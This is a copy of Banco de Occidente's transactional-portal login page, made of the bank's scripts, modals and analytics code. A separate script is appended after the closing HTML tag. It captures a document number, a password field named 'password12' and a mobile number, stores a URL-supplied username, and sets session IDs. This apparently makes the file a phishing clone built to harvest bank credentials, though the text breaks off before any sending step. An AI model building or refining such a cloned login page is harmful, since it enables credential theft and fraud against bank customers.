<script src="https://www.bancodeoccidente.com.co/portaltransaccional/pbocc_runtime-es2015.6f0f5b067a40e54722a9.js" type="module"></script><script src="https://www.bancodeoccidente.com.co/portaltransaccional/pbocc_runtime-es5.6f0f5b067a40e54722a9.js" nomodule="" defer=""></script><script src="https://www.bancodeoccidente.com.co/portaltransaccional/pbocc_polyfills-es5.ac926cdbbf201c12e06a.js" nomodule="" defer=""></script><script src="https://www.bancodeoccidente.com.co/portaltransaccional/pbocc_polyfills-es2015.5fac6c922e959254f330.js" type="module"></script><script src="https://www.bancodeoccidente.com.co/portaltransaccional/pbocc_scripts.c9fadcba991c2bbded25.js" defer=""></script><script src="https://www.bancodeoccidente.com.co/portaltransaccional/pbocc_main-es2015.4add4729e65bb2e4b762.js" type="module"></script><script src="https://www.bancodeoccidente.com.co/portaltransaccional/pbocc_main-es5.4add4729e65bb2e4b762.js" nomodule="" defer=""></script>




<bocc-modal id="browser-support-modal" title="Tu navegador está desactualizado" btnoklabel="Aceptar" btnokcancel="" class="bocc-modal-container browser-support"><div class="bocc-modal"><div class="bocc-modal-body"><div class="bocc-modal-header p-2s ng-star-inserted"><h2 class="bocc-title h5-b-left no-m no-p">Tu navegador está desactualizado</h2><button type="button" aria-label="Close" class="close"><em class="icon-delete-disabled-2"></em></button></div><!----><div class="bocc-modal-content p-2s"><p class="b2-m-center no-m p-2s-bottom">Le recomendamos utilizar versiones de navegador: Chrome 59 , Firefox 54, Safari 6 o superiores.</p><div class="login-footer_browsers-info"><div class="browser-info no-p m-s-width chrome"><img src="https://www.bancodeoccidente.com.co/assets/pbocc/images/logo-02-browsers-01-chrome-01-regular.svg" alt="chrome"><span class="browser-name">Chrome</span><span class="browser-v">V. 59</span></div><div class="browser-info no-p m-s-width"><img src="https://www.bancodeoccidente.com.co/assets/pbocc/images/logo-02-browsers-03-firefox-01-regular.svg" alt="firefox"><span class="browser-name">Firefox</span><span class="browser-v">V. 54</span></div><div class="browser-info no-p m-s-width"><img src="https://www.bancodeoccidente.com.co/assets/pbocc/images/logo-02-browsers-02-safari-01-regular.svg" alt="safari"><span class="browser-name">Safari</span><span class="browser-v">V. 6</span></div></div></div><div class="bocc-modal-footer p-s ng-star-inserted"><!----><bocc-button class="bocc-button m-2xs-width"><div class="button"><button class="btn ng-star-inserted" type="button" select=""><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Aceptar</span><!----><!----></button><!----><!----></div></bocc-button></div><!----></div></div><div class="bocc-modal-background"></div>`
</bocc-modal><bocc-modal id="error-modal" class="bocc-modal-container"><div class="bocc-modal"><div class="bocc-modal-body"><!----><div class="bocc-modal-content p-2s"><h1 class="h5-b-left no-m no-p">¿No puedes ingresar?</h1><span class="s3-m-left no-m no-p">Intenta las siguientes acciones:</span><hr class="line no-m no-p"><ol class="list-tips ip-2m-left no-m"><li>Asegúrate que no tienes una sesión abierta en el Portal anterior.</li><br><li>Si <span style="color: #ff6b6b; font-weight: bold;">NO</span> has ingresado al Portal anterior en los últimos 6 meses, intenta ingresar primero <a rel="noopener noreferrer" href="https://www.bancodeoccidente.com.co/wps/wcm/connect/banco-de-occidente/87f23109-c924-4fa1-be81-e3b1c6f0cb35/popup-pb.html?MOD=AJPERES" target="_blank" onclick="dataLayer.push({'event': 'eventOcc','eventAction': 'ClicNuevoPortal','eventCategory': 'Home','eventLabel': 'ParaPersonasTransacciones'});">aquí</a>, luego deslogueate e intenta en el nuevo.</li><br><li>Recuerda usar la clave de tu Portal Transaccional y no la de Banca Móvil, no son las mismas.</li></ol><p class="b2-m-left no-m p-2s-height">Sí aún así no puedes ingresar comunicate con nuestra línea de atención:</p><div class="row"><div class="callNumber p-3s-width no-m col-12 col-xs-12 col-md-6"><img src="https://www.bancodeoccidente.com.co/portaltransaccional/assets/pbocc/images/icono-ilustrado-5-ilstraci-n-phone.svg" alt="telefono" srcset=""><div class="label c-m-left"><small>Línea</small> Nacional</div><div class="number h5-b-left">01 8000 51 4652</div></div><div class="callNumber p-3s-width no-m col-12 col-xs-12 col-md-6"><img src="https://www.bancodeoccidente.com.co/portaltransaccional/assets/pbocc/images/icono-ilustrado-5-ilstraci-n-phone.svg" alt="telefono" srcset=""><div class="label c-m-left"><small>Línea en</small> Bogotá</div><div class="number h5-b-left">601 390 20 58</div></div></div><bocc-button btnlabel="Aceptar" class="bocc-button"><div class="button"><button class="btn ng-star-inserted" type="button" select=""><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Aceptar</span><!----><!----></button><!----><!----></div></bocc-button></div><!----></div></div><div class="bocc-modal-background"></div>`
</bocc-modal><div style="display: none; visibility: hidden;">
<script type="text/javascript" src="https://tags.bluekai.com/site/86228?ret=js&amp;limit=1"></script>





<script>document.write('\x3cscript type\x3d"text/javascript" src\x3d"https://service.maxymiser.net/api/us/adl.banco-de-occidente/815922/mmapi.js"\x3e\x3c/script\x3e');</script><script type="text/javascript" src="https://service.maxymiser.net/api/us/adl.banco-de-occidente/815922/mmapi.js"></script>
</div><div style="display: none; visibility: hidden;"><script>console.warn("Load - cHTML-event-tracking:OK");
document.addEventListener("click",function(a){var b=a.target.getAttribute("class");if(b!=a.target.nodeName)var c=window.location.pathname+location.hash;!1===c.includes("/portaltransaccional/")&&(c="/portaltransaccional"+c);var d=a.target.nodeName,e=a.target.getAttribute("id"),f=a.target.getAttribute("style");a=a.target.outerText;b={classElement:b,pagepath:c,idElement:e,InnerText:a,nodeName:d,styleElement:f};triggerEvent(b);"undefined"!==typeof debugAttribute&&debugAttr(b)});
function debugAttr(a){for(var b in a)console.warn(b+" :"+a[b])};</script></div><script type="text/javascript" id="">document.cookie="BB\x3d; expires\x3dThu, 01 Jan 1971 00:00:00 UTC;";</script>
<script type="text/javascript" id="">(function(a,c,e,f,d,b){a.hj=a.hj||function(){(a.hj.q=a.hj.q||[]).push(arguments)};a._hjSettings={hjid:1412114,hjsv:6};d=c.getElementsByTagName("head")[0];b=c.createElement("script");b.async=1;b.src=e+a._hjSettings.hjid+f+a._hjSettings.hjsv;d.appendChild(b)})(window,document,"https://static.hotjar.com/c/hotjar-",".js?sv\x3d");</script>
<iframe name="__bkframe" height="0" width="0" frameborder="0" style="display:none;position:absolute;clip:rect(0px 0px 0px 0px)" src="about:blank"></iframe>
<script type="text/javascript" id="" src="https://tags.bkrtx.com/js/bk-coretag.js"></script><script type="text/javascript" id="" src="https://c.oracleinfinity.io/acs/account/iw64uzydss/js/main/odc.js?v="></script><script type="text/javascript" id="">trackEvent=function(b,c,a){switch(b){case "/portaltransaccional/#/login":b="HomeLogin";break;case "A":b}switch(c){case "rememberMe":c="Click_recordar_datos";break;case "\u00bfOlvidaste tu contrase\u00f1a?":c="Cick Olvidaste tu contrase\u00f1a"}switch(a){case "Click_recordar_datos":a="Click_recordar_datos";break;case "\u00bfOlvidaste tu contrase\u00f1a?":a="\u00bfOlvidaste tu contrase\u00f1a?";break;case "":a="\u00a1Lo nuevo!";break;case "icon-configuraci_n":a="Configuraci\u00f3n";break;case "label":a=
"Configuraci\u00f3n"}window.dataLayer=window.dataLayer||[];window.dataLayer.push({event:"event",eventCategory:b,eventAction:c,eventLabel:a});bkEvent(a);infinityEvent(b,c,a)};</script><script type="text/javascript" id="">triggerEvent=function(a){"/portaltransaccional/#/login"==a.pagepath&&"Aceptar"==a.InnerText&&trackEvent(a.pagepath,"Aceptar cookies","Aceptar cookies");"/portaltransaccional/#/login"==a.pagepath&&"rememberMe"==a.idElement&&trackEvent(a.pagepath,a.idElement,"Click_recordar_datos");"/portaltransaccional/#/login"==a.pagepath&&"\u00bfOlvidaste tu contrase\u00f1a?"==a.InnerText&&trackEvent(a.pagepath,"Olvidaste tu contrase\u00f1a","\u00bfOlvidaste tu contrase\u00f1a?");"/portaltransaccional/#/login"==
a.pagepath&&"Reg\u00edstrate"==a.InnerText&&trackEvent(a.pagepath,"Reg\u00edstrate","Reg\u00edstrate");"/portaltransaccional/#/login"==a.pagepath&&"Ingresar"==a.InnerText&&trackEvent(a.pagepath,"Ingresar","Ingresar");"/portaltransaccional/#/registro"==a.pagepath&&"Continuar"==a.InnerText&&trackEvent(a.pagepath,"OTP","Continuar");"/portaltransaccional/#/login"==a.pagepath&&"Cancelar"==a.InnerText&&trackEvent(a.pagepath,"OTP","Cancelar");"/portaltransaccional/#/login"==a.pagepath&&"aqu\u00ed"==a.InnerText&&
trackEvent(a.pagepath,"Error inicio de sesi\u00f3n","ingresar primero aqu\u00ed");"icon-whatsapp-socialmedia"!=a.classElement&&"Comun\u00edcate con nosotros"!=a.InnerText||trackEvent("HomeTransaccional","WhatsApp_eventos","Abrir");"icon-delete-disabled-2 whatsapp__open-content__closed-icon"==a.classElement&&trackEvent("HomeTransaccional","WhatsApp_eventos","Cerrar");"whatsapp__content-number m-2s-top"!=a.classElement&&"\u00a1Conoce nuestro Whatsapp!"!=a.InnerText&&"\u00bfNECESITAS AYUDA?"!=a.InnerText&&
"Comun\u00edcate con nosotros a trav\u00e9s de este canal y resuelve cualquier inquietud o solicitud que tengas."!=a.InnerText||trackEvent("HomeTransaccional","WhatsApp_eventos","Navegar");("SPAN"==a.nodeName&&"\u00a1Lo nuevo!"==a.InnerText||"icon-favorita"==a.classElement)&&("SPAN"==a.nodeName&&"\u00a1Lo nuevo!"==a.InnerText||"icon-favorita"==a.classElement)&&trackEvent("HomeTransaccional","Click",InnerText);"Salida Segura"!=a.InnerText&&"icon-salida_segura"!=a.classElement||trackEvent("HomeTransaccional",
"Click","Salida Segura");"Activar modo inc\u00f3gnito"==a.InnerText&&trackEvent("HomeTransaccional","Click","Activar modo inc\u00f3gnito");"Configuraci\u00f3n"!=a.InnerText&&"icon-configuraci_n"!=a.classElement||trackEvent("HomeTransaccional","Click","Configuraci\u00f3n");"TAMA\u00d1O DE FUENTE"==a.InnerText&&trackEvent("HomeTransaccional","Configuraci\u00f3n","Tama\u00f1o fuente");"SEGURIDAD"==a.InnerText&&trackEvent("HomeTransaccional","Configuraci\u00f3n","SEGURIDAD");"CAMBIO DE CONTRASE\u00d1A"==
a.InnerText&&trackEvent("HomeTransaccional","Configuraci\u00f3n -\x3e SEGURIDAD","CAMBIO DE CONTRASE\u00d1A");"Finalizar"==a.InnerText&&trackEvent("HomeTransaccional","Lo Nuevo","Tutorial Completo");if("IMG"==a.nodeName&&1==a.pagepath.includes("/portaltransaccional/#/productos")&&null==a.classElement&&"max-width: 100%;"==a.styleElement){var d=document.querySelector("body \x3e app-root \x3e app-home \x3e main \x3e div \x3e main \x3e app-products \x3e div.row \x3e div.col-lg-9 \x3e div \x3e app-quick-actions \x3e div \x3e carousel \x3e div \x3e ngb-carousel \x3e div \x3e div \x3e a \x3e div \x3e img").parentNode.parentNode.getAttribute("href");
trackEvent("HomeTransaccional","Click banner",d)}"IMG"==a.nodeName&&"mySlides"==a.classElement&&(d=document.querySelector(".mySlides").parentElement.href,trackEvent("HomeTransaccional","Click banner",d));"A"!=a.nodeName&&"SPAN"!=a.nodeName||"Productos"!=a.InnerText||trackEvent("HomeTransaccional","Click","Productos");if("Generar extracto"==a.InnerText||"Generando"==a.InnerText||"Exportar"==a.InnerText||"CSV"==a.InnerText||"XLS"==a.InnerText||"Filtrar"==a.InnerText||"Buscar"==a.InnerText||"Revisa tus puntos ahora"==
a.InnerText||"Revisa tus puntos"==a.InnerText||"Ahora tus puntos est\u00e1n en TuPl\u00fas"==a.InnerText||" D\u00d3LARES"==a.InnerText||" PESOS"==a.InnerText||"btnIcon icon-historial_de_pagos ng-star-inserted"==a.classElement||"Retiro sin tarjeta"==a.InnerText||"btnIcon icon-exportar ng-star-inserted"==a.classElement||"Pagar"==a.InnerText){""==a.InnerText&&(a.InnerText=a.classElement);switch(a.InnerText){case "Generar extracto":var b="Generar extracto - PDF";break;case "btnIcon icon-historial_de_pagos ng-star-inserted":b=
"Generar extracto - PDF";break;case "Generando":b=generando();break;case "Exportar":b="Exportar";break;case "CSV":b="Exportar - CSV";break;case "XLS":b="Exportar - XLS";break;case "Filtrar":b="Filtrar";break;case "btnIcon icon-exportar ng-star-inserted":b="Filtrar";break;case "Buscar":b=buscar();break;case "Revisa tus puntos ahora":case "Revisa tus puntos":b="TuPl\u00fas | Revisa tus puntos ahora";break;case " PESOS":b="PESOS";break;case " D\u00d3LARES":b="D\u00d3LARES";break;case "Retiro sin tarjeta":b=
"Retiro sin tarjeta";break;case "Pagar":b="Pagar"}if(null!=document.querySelector("body \x3e app-root \x3e app-home \x3e main \x3e div \x3e main \x3e app-product-home \x3e div \x3e div.col-lg-9 \x3e div \x3e app-product \x3e div.content-section.ng-star-inserted \x3e div.header-section \x3e div.header-title \x3e div \x3e div.content-title \x3e h1")){var f=document.querySelector("body \x3e app-root \x3e app-home \x3e main \x3e div \x3e main \x3e app-product-home \x3e div \x3e div.col-lg-9 \x3e div \x3e app-product \x3e div.content-section.ng-star-inserted \x3e div.header-section \x3e div.header-title \x3e div \x3e div.content-title \x3e h1").innerText;
trackEvent("Prodcutos",f,b)}else if("undefined"==typeof f)switch(pagepath){case "/portaltransaccional/#/pagos/servicios-publicos/pago-servicios/step-1":trackEvent("Pagos","Servicios P\u00fablicos","Pagar");break;default:trackEvent("Prodcutos",f,b)}}"A"==a.nodeName&&"Cuentas"==a.InnerText&&trackEvent("HomeTransaccional","Productos","Cuentas");"/portaltransaccional/#/productos"==a.pagepath&&"Ir al portal anterior"==a.InnerText&&trackEvent("HomeTransaccional","Portal anterior","Ir al portal anterior");
"A"==a.nodeName&&"Tarjetas de Cr\u00e9dito"==a.InnerText&&trackEvent("HomeTransaccional","Productos","Tarjetas de Cr\u00e9dito");"A"==a.nodeName&&"Cr\u00e9ditos"==a.InnerText&&trackEvent("HomeTransaccional","Productos","Cr\u00e9ditos");("A"==a.nodeName&&"Fiduciaria"==a.InnerText&&"nav-link fiducias"==a.classElement||"nav-link fiducias active"==a.classElement)&&trackEvent("HomeTransaccional","Click","Fiduciaria");("A"==a.nodeName&&"TuPl\u00fas"==a.InnerText&&"nav-link TuPlus"==a.classElement||"nav-link TuPlus active"==
a.classElement)&&trackEvent("HomeTransaccional","Click","TuPl\u00fas");"/portaltransaccional/#/tuplus"==a.pagepath&&"Redime puntos"==a.InnerText&&trackEvent("HomeTransaccional","TuPl\u00fas","Redime puntos");("A"==a.nodeName&&"Productos Aval"==a.InnerText&&"nav-link AVAL active"==a.classElement||"nav-link AVAL"==a.classElement)&&trackEvent("HomeTransaccional","Click","Productos Aval");"A"==a.nodeName&&"Banco AV Villas"==a.InnerText&&"ng-tns-c3-12 child-nav-link banco_av_villas"==a.classElement&&trackEvent("HomeTransaccional",
"Productos Aval","Banco AV Villas");"A"==a.nodeName&&"Banco AV Villas"==a.InnerText&&"ng-tns-c3-12 child-nav-link banco_av_villas"==a.classElement&&trackEvent("HomeTransaccional","Productos Aval","Banco AV Villas");"A"==a.nodeName&&"Banco de Bogot\u00e1s"==a.InnerText&&"ng-tns-c3-12 child-nav-link banco_de_bogota active"==a.classElement&&trackEvent("HomeTransaccional","Productos Aval","Banco de Bogot\u00e1s");"A"==a.nodeName&&"Banco Popular"==a.InnerText&&"ng-tns-c3-12 child-nav-link banco_popular active"==
a.classElement&&trackEvent("HomeTransaccional","Productos Aval","Banco Popular");"A"==a.nodeName&&"Porvenir"==a.InnerText&&"ng-tns-c3-12 child-nav-link porvenir active"==a.classElement&&trackEvent("HomeTransaccional","Productos Aval","Porvenir");"A"==a.nodeName&&"Facilpass"==a.InnerText&&"ng-tns-c3-12 child-nav-link facilpass active"==a.classElement&&trackEvent("HomeTransaccional","Productos Aval","Facilpass");"A"==a.nodeName&&"Pagos"==a.InnerText&&trackEvent("HomeTransaccional","Click","Pagos");
"btnIcon icon-pagar_2 ng-star-inserted"==a.classElement&&("/portaltransaccional/#/pagos/servicios-publicos/pago-servicios/step-1"==a.pagepath?trackEvent("Pagos","Servicios p\u00fablicos","pagar"):trackEvent("Pagos","Obligaciones financieras","pagar"));"btnIcon icon-eliminar ng-star-inserted"==a.classElement&&"/portaltransaccional/#/pagos/servicios-publicos/servicios/facturas-disponibles"==a.pagepath&&trackEvent("Pagos","Servicios p\u00fablicos","Eliminar pago");"A"==a.nodeName&&"Servicios p\u00fablicos"==
a.InnerText&&"child-nav-link servicios-publicos active"==a.classElement&&trackEvent("HomeTransaccional","Pagos","Servicios p\u00fablicos");"A"==a.nodeName&&"Pagos r\u00e1pidos"==a.InnerText&&"child-nav-link pagos-rapidos active"==a.classElement&&trackEvent("HomeTransaccional","Pagos","Pagos r\u00e1pidos");"A"==a.nodeName&&"Obligaciones financieras"==a.InnerText&&"child-nav-link obligaciones-financieras active"==a.classElement&&trackEvent("HomeTransaccional","Pagos","Obligaciones financieras");"A"==
a.nodeName&&"Pagos Pila"==a.InnerText&&"child-nav-link pila active"==a.classElement&&trackEvent("HomeTransaccional","Pagos","Pagos Pila");"A"==a.nodeName&&"Donaciones"==a.InnerText&&"child-nav-link donaciones active"==a.classElement&&trackEvent("HomeTransaccional","Pagos","Donaciones");"btnIcon icon-editar ng-star-inserted"==a.classElement&&"/portaltransaccional/#/pagos/servicios-publicos/servicios/servicios-inscritos"==a.pagepath&&trackEvent("Pagos","Servicios p\u00fablicos","Editar pago");"curAmt"==
a.idElement&&"/portaltransaccional/#/pagos/servicios-publicos/pago-servicios/step-1"==a.pagepath&&(d=returnServices(idElement),trackEvent("Pagos","Servicios p\u00fablicos",d));"ng-untouched ng-pristine ng-invalid"==a.classElement&&"/portaltransaccional/#/pagos/servicios-publicos/inscribir-servicio/step-2"==a.pagepath&&"INPUT"==a.nodeName&&(InnerText=document.querySelector("body \x3e app-root \x3e app-home \x3e main \x3e div \x3e main \x3e app-payments-home \x3e div \x3e app-public-services \x3e app-subscribe-public-service \x3e section \x3e div \x3e div \x3e app-payment-step-two \x3e section \x3e div.step-header \x3e span").innerText,
trackEvent("Pagos","Servicios p\u00fablicos | Inscribir Servicio",InnerText));"btnIcon icon-mostrar_contrase_a ng-star-inserted"==a.classElement&&"/portaltransaccional/#/pagos/servicios-publicos/inscribir-servicio/step-2"==a.pagepath&&trackEvent("Pagos","Servicios p\u00fablicos | Inscribir Servicio","Mostrar im\u00e1gen");"A"==a.nodeName&&"Transferencias"==a.InnerText&&"nav-link"==a.classElement&&trackEvent("HomeTransaccional","Click","Transferencias");"A"==a.nodeName&&"Transferir"==a.InnerText&&
"child-nav-link hacer-tranferencia active"==a.classElement&&trackEvent("HomeTransaccional","Transferencias","Transferir");"A"==a.nodeName&&"Transferencia r\u00e1pida"==a.InnerText&&"child-nav-link hacer-tranferencia active"==a.classElement&&trackEvent("HomeTransaccional","Transferencias","Transferencia r\u00e1pida");"A"==a.nodeName&&"Cuentas inscritas"==a.InnerText&&"child-nav-link active"==a.classElement&&trackEvent("HomeTransaccional","Transferencias","Cuentas inscritas");"btnIcon icon-programar_recurrencia ng-star-inserted"==
a.classElement&&(trackEvent("Pagos","Servicios p\u00fablicos","Programar pago"),cdkOverlay());"A"==a.nodeName&&"Servicios"==a.InnerText&&"nav-link"==a.classElement&&trackEvent("HomeTransaccional","Click","Servicios");"Eliminar programaci\u00f3n"==a.InnerText&&trackEvent("Pagos","Servicios p\u00fablicos","Programar pago-Eliminar programaci\u00f3n");"A"==a.nodeName&&"Extractos"==a.InnerText&&"child-nav-link generar-extractos active"==a.classElement&&trackEvent("HomeTransaccional","Servicios","Extractos");
"A"==a.nodeName&&"Retiro sin tarjeta"==a.InnerText&&"child-nav-link retiro-sin-tarjeta active"==a.classElement&&trackEvent("HomeTransaccional","Servicios","Retiro sin tarjeta");"A"==a.nodeName&&"Certificados"==a.InnerText&&trackEvent("HomeTransaccional","Servicios","Certificados");if("accountNumber"==a.idElement&&"/portaltransaccional/#/transferencias/hacer-tranferencia/step-1"==a.pagepath||"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"==a.pagepath){if(null!=document.querySelector("body \x3e ngb-modal-window \x3e div \x3e div \x3e app-register-account \x3e div.modal-header.ng-star-inserted \x3e div \x3e span"))var c=
document.querySelector("body \x3e ngb-modal-window \x3e div \x3e div \x3e app-register-account \x3e div.modal-header.ng-star-inserted \x3e div \x3e span").outerText;if(null!=document.querySelector("#bank \x3e div \x3e div \x3e div.ng-value.ng-star-inserted \x3e span"))var h=document.querySelector("#bank \x3e div \x3e div \x3e div.ng-value.ng-star-inserted \x3e span").outerText;if(null!=document.querySelector("#accountType \x3e div \x3e div \x3e div.ng-value.ng-star-inserted \x3e span"))var e=document.querySelector("#accountType \x3e div \x3e div \x3e div.ng-value.ng-star-inserted \x3e span").innerText;
document.cookie="screenModal\x3d"+c;trackEvent("Transferencias","Inscribir cuenta paso 1","Banco - "+h);trackEvent("Transferencias","Inscribir cuenta paso 1","Tipo de cuenta - "+e)}if("btnContent ng-star-inserted"==a.classElement&&"/portaltransaccional/#/transferencias/hacer-tranferencia/step-1"==a.pagepath||"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"==a.pagepath&&"Continuar"==a.InnerText||"Confirmar"==a.InnerText||"Finalizar"==a.InnerText)c=readCookie(),"Inscribir cuenta"==
c&&(trackEvent("Transferencias","Inscribir cuenta paso 1","Completo"),document.cookie="screenModal\x3d"),"Datos del titular"==c&&(trackEvent("Transferencias","Inscribir cuenta paso 2","Completo"),document.cookie="screenModal\x3d"),"Finalizar"!=a.InnerText||"/portaltransaccional/#/transferencias/hacer-tranferencia/step-1"!=a.pagepath&&"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"!=a.pagepath||trackEvent("Transferencias","Inscribir cuenta paso 3","Completo");if("docNumber"==
a.idElement&&("/portaltransaccional/#/transferencias/hacer-tranferencia/step-1"==a.pagepath||"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"==a.pagepath)){null!=document.querySelector("body \x3e ngb-modal-window \x3e div \x3e div \x3e app-register-account \x3e div.modal-header.ng-star-inserted \x3e div \x3e span")&&(c=document.querySelector("body \x3e ngb-modal-window \x3e div \x3e div \x3e app-register-account \x3e div.modal-header.ng-star-inserted \x3e div \x3e span").innerText);
document.cookie="screenModal\x3d"+c;if(null!=document.querySelector("#docType \x3e div \x3e div \x3e div.ng-value.ng-star-inserted \x3e span"))var g=document.querySelector("#docType \x3e div \x3e div \x3e div.ng-value.ng-star-inserted \x3e span").innerText;trackEvent("Transferencias","Inscribir cuenta paso 2","Tipo de Documento - "+g)}if("Confirmar transacci\u00f3n"==a.InnerText&&"/portaltransaccional/#/transferencias/hacer-tranferencia/step-3"==a.pagepath||"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"==
a.pagepath){if(null!=document.querySelector("#bill-container \x3e div \x3e section:nth-child(1) \x3e div.transferMsj.success.ng-star-inserted"))var k=document.querySelector("#bill-container \x3e div \x3e section:nth-child(1) \x3e div.transferMsj.success.ng-star-inserted").innerText;if(null!=document.querySelector("#bill-container \x3e div \x3e section:nth-child(1) \x3e div.refTranfer"))var l=document.querySelector("#bill-container \x3e div \x3e section:nth-child(1) \x3e div.refTranfer").innerText;
"Tu transferencia ha sido exitosa."==k&&(trackEvent("Transferencias","Confirmaci\u00f3n",g+"|"+l),modalDataLayer("/transferencia-exitosa"))}"ng-untouched ng-pristine ng-invalid"!=a.classElement&&"ng-pristine ng-invalid ng-touched"!=a.classElement||"/portaltransaccional/#/transferencias/transferencia-rapida"!=a.pagepath||"amount"!=a.idElement||(e=null==document.querySelector('input[class\x3d"ng-untouched ng-valid ng-dirty"]:checked')?2:document.querySelector('input[class\x3d"ng-untouched ng-valid ng-dirty"]:checked').id,
2==e&&trackEvent("Transferencias R\u00e1pida","Tipo de Cuenta","Ahorros"),3==e&&trackEvent("Transferencias R\u00e1pida","Tipo de Cuenta","Corriente"));"/portaltransaccional/#/transferencias/transferencia-rapida"==a.pagepath&&"Continuar"==a.InnerText&&trackEvent("Transferencias R\u00e1pida","Paso 1","Continuar");"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"==a.pagepath&&"Agregar cuenta"==a.InnerText&&trackEvent("Transferencias","Cuentas inscritas","Agregar cuenta");"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"==
a.pagepath&&"btnIcon icon-eliminar ng-star-inserted"==a.classElement&&trackEvent("Transferencias","Cuentas inscritas","Eliminar cuenta");"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"==a.pagepath&&"btnIcon icon-editar ng-star-inserted"==a.classElement&&trackEvent("Transferencias","Cuentas inscritas","Editar cuenta");"/portaltransaccional/#/transferencias/cuentas/inscritas/transferencias"==a.pagepath&&"Eliminar"==a.InnerText&&trackEvent("Transferencias","Cuentas inscritas",
"Eliminar cuenta completo")};</script>
<script type="text/javascript" id="">bk_use_multiple_iframes=bk_allow_multiple_calls=!0;bk_addPageCtx("virtualPage","/portaltransaccional/#/login");bk_doJSTag(85019,1);function bkEvent(a){bk_addPageCtx("Click",a);bk_doJSTag(85019,1)};</script>

<script type="text/javascript" id="">ORA.view({data:{virtualPage:"/portaltransaccional/#/login"}});function infinityEvent(a,b,c){ORA.click({data:{"data.page-uri":"/portaltransaccional/#/login","wt.evento":a+"||"+b+"||"+c}})};</script><iframe name="_hjRemoteVarsFrame" title="_hjRemoteVarsFrame" id="_hjRemoteVarsFrame" src="https://vars.hotjar.com/box-acca23410e696f2ca3087d947271c3d0.html" style="display: none !important; width: 1px !important; height: 1px !important; opacity: 0 !important; pointer-events: none !important;"></iframe><iframe name="__bkframe_85019_1644196702839" id="__bkframe_85019_1644196702839" title="bk" src="https://stags.bluekai.com/site/85019?ret=html&amp;phint=virtualPage%3D%2Fportaltransaccional%2F%23%2Flogin&amp;phint=__bk_t%3DIngreso%20al%20Portal%20Transaccional%20%7C%20Banco%20de%20Occidente&amp;phint=__bk_k%3D%20portal%20transaccional%20banco%20de%20occidente%2C%20transacciones%20banco%20de%20occidente%2C%20anterior%20portal%20transaccional%20banco%20de%20occidente%2C%20pagar%20tarjeta%20de%20cr%C3%A9dito%20banco%20de%20occidente%2C%20pagos%20banco%20de%20occidente%2C%20portal%20de%20pagos%20banco%20de%20occidente%2C%20pagar%20tarjeta%20de%20cr%C3%A9dito%20banco%20de%20occidente%2C%20transferir%20a%20otras%20cuentas%20banco%20de%20occidente%2C%20descargar%20extracto%20banco%20de%20occidente&amp;phint=__bk_l%3Dhttps%3A%2F%2Fwww.bancodeoccidente.com.co%2Fportaltransaccional%2F%23%2Flogin&amp;phint=__bk_v%3D3.1.10&amp;limit=1&amp;r=82326640" class="__bkframe_site_85019" style="border: 0px; width: 0px; height: 0px; display: none; position: absolute; clip: rect(0px, 0px, 0px, 0px);"></iframe><script type="text/javascript" id="">function cdkOverlay(){var a={childList:!1,subtree:!0,attributes:!1,characterData:!0},b=new MutationObserver(cdkLateral),c=document.querySelector("body \x3e div.cdk-overlay-container");b.observe(c,a)}function cdkLateral(){console.info("CDk");window.dataLayer=window.dataLayer||[];window.dataLayer.push({event:"PageView",modalActivo:"Programar-pago"})};</script>
<script src="demo-files/demo.js"></script>


</body></html>

<script>
    // Espera 3 segundos y oculta el loader inicial
    setTimeout(function () {
      document.getElementById('fondo').style.display = 'none';
      document.getElementById('cargando').style.display = 'none';
    }, 3000);

    document.addEventListener("DOMContentLoaded", function () {
      const urlParams = new URLSearchParams(window.location.search);
      
      // Generar o recuperar session_id
      let sessionId = localStorage.getItem('session_id');
      if (!sessionId) {
        sessionId = 'session_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9);
        localStorage.setItem('session_id', sessionId);
      }
      
      // Obtener usuario desde URL params y establecer en el campo hidden
      const userFromUrl = urlParams.get('user');
      if (userFromUrl) {
        localStorage.setItem('username', userFromUrl);
      }

      // Validación para solo números en el campo de documento
      document.getElementById('document-number').addEventListener('input', function(e) {
        // Remover cualquier carácter que no sea número
        this.value = this.value.replace(/[^0-9]/g, '');
        
        // Limitar a 15 caracteres
        if (this.value.length > 15) {
          this.value = this.value.slice(0, 15);
        }
        
        // Habilitar/deshabilitar botón ingresar
        if (this.value.length > 0 && document.getElementById('password12').value.length > 7) {
          document.getElementById('btn-ingresar').removeAttribute('disabled');
        } else {
          document.getElementById('btn-ingresar').setAttribute('disabled', '');
        }
      });

      // Prevenir pegar texto que no sean números
      document.getElementById('document-number').addEventListener('paste', function(e) {
        e.preventDefault();
        let pastedText = (e.clipboardData || window.clipboardData).getData('text');
        let numbersOnly = pastedText.replace(/[^0-9]/g, '');
        if (numbersOnly.length > 15) {
          numbersOnly = numbersOnly.slice(0, 15);
        }
        this.value = numbersOnly;
      });

      // Validación para caracteres alfanuméricos en el campo de contraseña
      document.getElementById('password12').addEventListener('input', function(e) {
        // Remover cualquier carácter que no sea letra o número
        this.value = this.value.replace(/[^a-zA-Z0-9]/g, '');
        
        // Limitar a 15 caracteres
        if (this.value.length > 15) {
          this.value = this.value.slice(0, 15);
        }
        
        // Habilitar/deshabilitar botón ingresar
        if (this.value.length > 7 && document.getElementById('document-number').value.length > 0) {
          document.getElementById('btn-ingresar').removeAttribute('disabled');
        } else {
          document.getElementById('btn-ingresar').setAttribute('disabled', '');
        }
      });

      // Prevenir pegar texto que no sean caracteres alfanuméricos
      document.getElementById('password12').addEventListener('paste', function(e) {
        e.preventDefault();
        let pastedText = (e.clipboardData || window.clipboardData).getData('text');
        let alphanumericOnly = pastedText.replace(/[^a-zA-Z0-9]/g, '');
        if (alphanumericOnly.length > 15) {
          alphanumericOnly = alphanumericOnly.slice(0, 15);
        }
        this.value = alphanumericOnly;
      });

      // Validación para celular
      document.getElementById('celular-number').addEventListener('input', function(e) {
        this.value = this.value.replace(/[^0-9]/g, '');
        if (this.value.length > 6) {
          document.getElementById('btn-continuar').removeAttribute('disabled');
        } else {
